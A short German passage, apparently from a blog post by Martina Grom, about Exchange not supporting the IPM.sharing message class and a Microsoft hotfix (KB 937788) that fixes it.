IPM.note auf IPM.sharing geändert wird. Exchange unterstützt diesen Benachrichtigungstyp jedoch nicht. Microsoft stellt jedoch einen Hotfix zur Behebung dieses Problems zur Verfügung: Knowledgebase Artikel 937788 Nähere Informationen zu den Benachrichtigungstypen finden sich hier. Übrigens: es hat bei mir leider nicht gereicht, einfach nur mit einer Outlook Regel diese Messages in einen anderen Ordner zu verschieben. Beitrag von Martina Grom